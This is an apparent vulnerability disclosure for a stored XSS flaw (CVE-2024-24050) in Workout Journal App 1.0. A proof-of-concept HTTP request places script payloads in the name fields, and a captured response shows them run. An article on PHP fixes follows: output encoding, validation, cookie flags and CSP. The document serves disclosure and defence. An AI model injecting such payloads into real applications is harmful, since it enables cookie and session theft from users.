Workout Journal App 1.0 - Stored XSS
# Exploit Title: Workout Journal App 1.0 - Stored XSS
# Date: 12.01.2024
# Exploit Author: MURAT CAGRI ALIS
# Vendor Homepage: https://www.sourcecodester.com<https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html>
# Software Link: https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html
# Version: 1.0
# Tested on: Windows / MacOS / Linux
# CVE : CVE-2024-24050
# Description
Install and run the source code of the application on localhost. Register from the registration page at the url workout-journal/index.php. When registering, stored XSS payloads can be entered for the First and Last name on the page. When registering on this page, for the first_name parameter in the request to the /workout-journal/endpoint/add-user.php url
For the last_name parameter, type " <script>console.log(document.cookie)</script> " and " <script>console.log(1337) </script> ". Then when you log in you will be redirected to /workout-journal/home.php. When you open the console here, you can see that Stored XSS is working. You can also see from the source code of the page that the payloads are working correctly. This vulnerability occurs when a user enters data without validation and then the browser is allowed to execute this code.
# PoC
Register Request to /workout-journal/endpoints/add-user.php
POST /workout-journal/endpoint/add-user.php HTTP/1.1
Host: localhost
Content-Length: 268
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/workout-journal/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=64s63vgqlnltujsrj64c5o0vci
Connection: close
first_name=%3Cscript%3Econsole.log%28document.cookie%29%3C%2Fscript%3E%29&last_name=%3Cscript%3Econsole.log%281337%29%3C%2Fscript%3E%29&weight=85&height=190&birthday=1991-11-20&contact_number=1234567890&email=test%40mail.mail&username=testusername&password=Test123456-
This request turn back 200 Code on Response
HTTP/1.1 200 OK
Date: Sat, 16 Mar 2024 02:05:52 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4
X-Powered-By: PHP/8.1.4
Content-Length: 214
Connection: close
Content-Type: text/html; charset=UTF-8
<script>
alert('Account Registered Successfully!');
window.location.href = 'http://localhost/workout-journal/';
</script>
After these all, you can go to login page and login to system with username and password. After that you can see that on console payloads had worked right.
/workout-journal/home.php Request
GET /workout-journal/home.php HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://localhost/workout-journal/endpoint/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=co1vmea8hr1nctjvmid87fa7d1
Connection: close
/workout-journal/home.php Response
HTTP/1.1 200 OK
Date: Sat, 16 Mar 2024 02:07:56 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4
X-Powered-By: PHP/8.1.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 2791
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Workout Journal App</title>
<!-- Style CSS -->
<link rel="stylesheet" href="./assets/style.css">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css">
<style>
body {
overflow: hidden;
}
</style>
</head>
<body>
<div class="main">
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
<a class="navbar-brand ml-3" href="#">Workout Journal App</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item active">
<a class="nav-link" href="./endpoint/logout.php">Log Out</a>
</li>
</div>
</nav>
<div class="landing-page-container">
<div class="heading-container">
<h2>Welcome <script>console.log(document.cookie);</script>) <script>console.log(1337);</script>)</h2>
<p>What would you like to do today?</p>
</div>
<div class="select-option">
<div class="read-journal" onclick="redirectToReadJournal()">
<img src="./assets/read.jpg" alt="">
<p>Read your past workout journals.</p>
</div>
<div class="write-journal" onclick="redirectToWriteJournal()">
<img src="./assets/write.jpg" alt="">
<p>Write your todays journal.</p>
</div>
</div>
</div>
</div>
<!-- Bootstrap JS -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.min.js"></script>
<!-- Script JS -->
<script src="./assets/script.js"></script>
</body>
</html> Workout Journal App 1.0 — Stored XSS (CVE-2024-24050)
This article explains the stored Cross-Site Scripting (XSS) vulnerability reported in Workout Journal App 1.0 (CVE-2024-24050). It covers what the vulnerability is, how it arises, its impact, and practical, secure fixes and mitigations for developers and system owners. Examples are in PHP since the application is PHP/MySQL-based.
What is Stored XSS?
Stored XSS occurs when an attacker is able to persist malicious script content on a server (for example, in a profile or comment) and that content is later rendered by the application into a web page without proper output encoding. When other users (or the same user) load that page, the browser executes the injected script in the context of the victim page, enabling cookie theft, session hijacking, DOM manipulation, or other malicious actions.
Why this app is vulnerable (root cause)
- The application accepts user-supplied values (first_name, last_name, etc.) and stores them in the database.
- When rendering the landing/home page, those stored values are injected into the HTML without output encoding or sanitization, allowing embedded HTML/JS to execute in users' browsers.
- The core issue is not storage per se but rendering untrusted data directly into HTML context. Proper defenses require output encoding, input validation, and optional additional layers like CSP.
Impact
- Execution of arbitrary JavaScript in users' browsers under the application's origin.
- Potential theft of cookie-based sessions (if cookies are not HttpOnly), CSRF token leakage, or unauthorized actions performed in victim sessions.
- Reputation damage, data exposure, and further pivoting attacks against application users.
Safe Reproduction Summary (for testers)
During testing, registrable fields that are later rendered on the home page were found to be reflected verbatim into HTML. This allowed a stored script to be persisted and triggered when viewing the home page. Reproduction requires responsible handling and authorization; avoid publishing or using real malicious payloads outside controlled lab environments.
Secure Fixes and Best Practices
1) Output encoding (primary defense)
Always escape user-supplied data on output consistent with the HTML context. For content placed into HTML element body or attributes, use proper encoding. In PHP, htmlspecialchars is recommended for HTML contexts.
<?php
// Rendering the user's first and last name safely on the home page:
echo 'Welcome ' . htmlspecialchars($user['first_name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8')
. ' '
. htmlspecialchars($user['last_name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
?>
Explanation: This code uses htmlspecialchars to convert special characters (<, >, &, quotes) into safe HTML entities before output. ENT_QUOTES ensures both single and double quotes are encoded. ENT_SUBSTITUTE helps prevent invalid encoding issues. UTF-8 is explicitly declared to avoid charset mismatches.
2) Input validation and canonicalization (complementary)
Validate input to enforce expected formats (lengths and allowed characters). For names, an allowlist approach is stronger than blacklist filtering.
<?php
// Example validation for a first/last name: allow letters, spaces, hyphens, and apostrophes
$raw_first = $_POST['first_name'] ?? '';
$raw_last = $_POST['last_name'] ?? '';
$first_valid = preg_match("/^[\p{L}\p{M} '-]{1,100}$/u", $raw_first);
$last_valid = preg_match("/^[\p{L}\p{M} '-]{1,100}$/u", $raw_last);
if (! $first_valid || ! $last_valid) {
// Handle invalid input: reject or normalize and inform the user
die('Invalid name format.');
}
$first_name = trim($raw_first);
$last_name = trim($raw_last);
?>
Explanation: This regex allows Unicode letters (\p{L}), marks (\p{M}), spaces, hyphens, and apostrophes, with max length protection. Validation reduces the likelihood of unexpected characters being stored, but it is not a substitute for output encoding.
3) Use parameterized queries when storing data
Always use prepared statements to prevent SQL injection; although not directly related to XSS, it's fundamental for secure storage.
<?php
// PDO prepared statement example for safe insertion
$pdo = new PDO('mysql:host=localhost;dbname=workout', 'user', 'pass', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare('INSERT INTO users (first_name, last_name, email, username, password_hash) VALUES (?, ?, ?, ?, ?)');
$password_hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
$stmt->execute([$first_name, $last_name, $_POST['email'], $_POST['username'], $password_hash]);
?>
Explanation: This code uses PDO with prepared statements to safely insert user data into the database. It also demonstrates hashing passwords with password_hash. Prepared statements prevent injection; hashing protects credentials.
4) Set secure cookie flags
Protect session cookies by setting Secure and HttpOnly flags, and use SameSite where appropriate.
<?php
// Recommended session configuration
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => 'example.com', // set to your domain or omit for default
'secure' => true, // true if using HTTPS
'httponly' => true,
'samesite' => 'Lax',
]);
session_start();
?>
Explanation: HttpOnly prevents JavaScript from reading cookies; Secure ensures cookies are only sent over HTTPS; SameSite reduces CSRF risk. These settings reduce the impact of XSS attacking session cookies.
5) Content Security Policy (CSP) — additional mitigation
Implement a strict CSP to limit script sources and disallow inline scripts where feasible. Note: migrating away from inline scripts may require refactoring templates to use non-inline handlers.
<?php
// Example header to help mitigate XSS: disallow inline scripts and only allow trusted script sources
header(\"Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.example.com; object-src 'none'; base-uri 'self';\");
?>
Explanation: This CSP blocks inline scripts ('unsafe-inline') and only allows scripts from the same origin and a trusted CDN. CSP is a defense-in-depth measure — do not rely on it as the sole control.
Testing and Verification
- Use security scanners (e.g., OWASP ZAP, Burp Suite) to find XSS vectors in form inputs, stored content, and different output contexts (HTML element, attribute, JS, URL).
- Manually review templates that render user-supplied values — ensure every insertion point performs context-appropriate encoding.
- Test cookie flags and CSP with browser developer tools and security headers scanners.
- Perform regression tests after fixes to ensure legitimate content still renders correctly and UX is preserved.
Developer Checklist (quick)
| Area | Action |
|---|---|
| Storage | Use prepared statements; retain raw user data if needed, but do not assume it's safe to render unencoded. |
| Output | Encode for the specific context (html entity-encode for HTML, JS-encode for inline JS contexts, URL-encode for URLs). |
| Input | Validate and normalize; prefer allowlists for structured fields. |
| HTTP | Enforce HTTPS; set Secure, HttpOnly, and SameSite on cookies. |
| Headers | Apply CSP, X-Content-Type-Options, Referrer-Policy, and other security headers. |
Responsible Disclosure and Remediation Timeline
If you are a provider or maintainer of this project, follow a responsible disclosure lifecycle: privately notify the vendor or project maintainers, allow reasonable time to patch, coordinate disclosure of CVE and public advisory, and provide guidance or patches to users. Since this issue has an assigned CVE, ensure the advisory includes remediation steps and recommended version updates.
Conclusion — Key Takeaways
- Stored XSS arises when untrusted data is rendered without appropriate encoding. Output encoding is the essential defense.
- Combine output encoding with input validation, secure storage practices, cookie hardening, and CSP for layered protection.
- Test comprehensively and deploy fixes with clear guidance for users and maintainers.